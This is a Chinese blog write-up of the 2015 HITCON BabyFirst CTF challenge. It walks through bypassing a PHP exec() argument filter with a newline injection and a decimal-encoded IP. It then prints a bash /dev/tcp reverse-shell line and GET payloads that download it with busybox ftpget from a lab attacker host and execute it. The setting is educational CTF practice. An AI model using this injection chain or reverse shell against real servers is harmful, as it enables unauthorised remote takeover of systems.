2015 HITCON BabyFirst-复现

解题过程

代码分析

<?php
$dir = 'sandbox/' .$_SERVER['REMOTE_ADDR'];
if (!file_exists($dir))
        mkdir($dir, recursive:true);
chdir($dir);

$args = $_GET['args'];
for ($i=0; $i<count($args);$i++){
        if (!preg_match('/^\w+$/', $args[$i]))
            exit;
}
exec("/bin/true " .implode(" ",$args));
?>

1.创建一个名为sandbox/ip/的目录,并将php当前目录切换到该目录
2.接受用户GET请求的参数赋值给变量args,通过count()函数可以看出来args是一个数组,for循环遍历数组中的每个元素,用正则检测数组中的每个元素是否为数字+字母+下划线组合的字符串,如果不是,则程序执行结束。
3.如果通过了正则匹配,则执行exec()函数,该函数可以执行系统命令

implode(string $separator, array $array): string —>Join array elements with a string

count(Countable|array $value, int $mode = COUNT_NORMAL): int —Counts all elements in an array when used with an array. When used with an object that implements the Countable interface, it returns the return value of the method Countable::count().

$_SERVER['REMOTE_ADDR' ] —The IP address from which the user is viewing the current page.
preg_match — Perform a regular expression match

绕过/bin/true

    /bin/true – “do nothing, successfully”
    /bin/false – “do nothing, unsuccessfully”

参考https://www.baeldung.com/linux/bin-true-bin-false-commands

由于/bin/true 后面的命令不会被执行,可以通过输入换行符来绕过/bin/true,使得换行符后面的命令被执行。例如,下图中xxx后面接一个换行符,使得命令1可以单独被执行。这时候相当于执行了两条命令:/bin/true xxx和命令1

提示:字符串以换行符结尾是可以通过preg_match()函数匹配的。

/bin/true xxx
命令1...

由于正则匹配要求输入的参数中只能是数字、字母和下划线,因此无法用一般的命令执行手段去做(比如读文件、写shell等)。

通过bash反弹shell

首先说下题目环境
目标主机:172.16.120.134
kali:172.16.120.133 ,开启了ftp服务,便于目标主机下载恶意文件

因为目标主机是linux,因此我们可以通过bash反弹shell的方法去做。思路是,用目标主机上的下载工具(wget、busybox)去kali上下载恶意文件。通过执行恶意文件来反弹shell。
首先,在kali上开启ftp服务,创建恶意文件。恶意文件内容如下

bash -i &> /dev/tcp/172.16.120.133/4444 0>&1

在kali某目录下新建一个shell恶意文件。
并在该目录下开启ftp服务(这里使用python的第三方模块,pyftpdlib)
image
在目标主机的本地环境下进行测试,文件下载成功
image
这里有个问题,这里的ftp服务器ip地址是点分十进制表示形式(存在小数点.),会被preg_match()检测到。

ip地址转10进制

实际上,我们可以将ip地址转成10进制形式,这样就可以顺利的下载kali上的shell文件了

在线工具:http://www.metools.info/other/ipconvert162.html
转换原理:点分十进制的ip地址,将每段10进制转成二进制形式,将四段(每段8位二进制)二进制拼接起来,之后转成10进制,就会得到一个大整数,这个大整数就是ip地址的10进制表示形式。
转换原理具体可以参考这篇文章:https://blog.csdn.net/zhihaoma/article/details/51841169

image
构造下载shell文件的payload,该payload中args参数都是字母和数字,因此可以通过preg_match()正则检测。

?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=2886760581&args[]=shell

image

%0a是换行符的url编码格式,在url中输入除字符、数字以外的某些特殊字符需要进行url编码
这里使用busybox工具,使用前提是目标主机上已安装该工具
2886760581是kali ip地址的10进制表示形式
通过对args添加[]即可完成get方式传递数组。中括号中可以不指定下标

shell下载后,首先使用nc工具在kali上开启侦听,侦听的端口必须和shell文件中的保持一致
在目标主机上执行shell文件

?args[]=xxx%0a$args[]=bash&args[]=shell

image
kali上成功获得目标目标主机的shell
image

反弹shell时,kali的bash出现了一些提示,no job control in this shell。
使用exec函数执行"反弹shell命令"会出现这个问题。但在本地执行没有这个问题。目前还不清楚是什么原因【知识盲区】

总结

1.使用回车符绕过/bin/true
2.将点分十进制表示形式的ip地址转换为10进制表示形式绕过正则检测
3.如果无法直接写shell,可以尝试反弹shell

更多信息

https://blog.csdn.net/L2329794714/article/details/123600501
https://blog.spoock.com/2017/09/09/Babyfirst-writeup/
反弹shell失败的几种原因:https://blog.csdn.net/qq_36119192/article/details/105906432

posted @ 2022-08-27 22:24  草木清风  阅读(193)  评论(0编辑  收藏  举报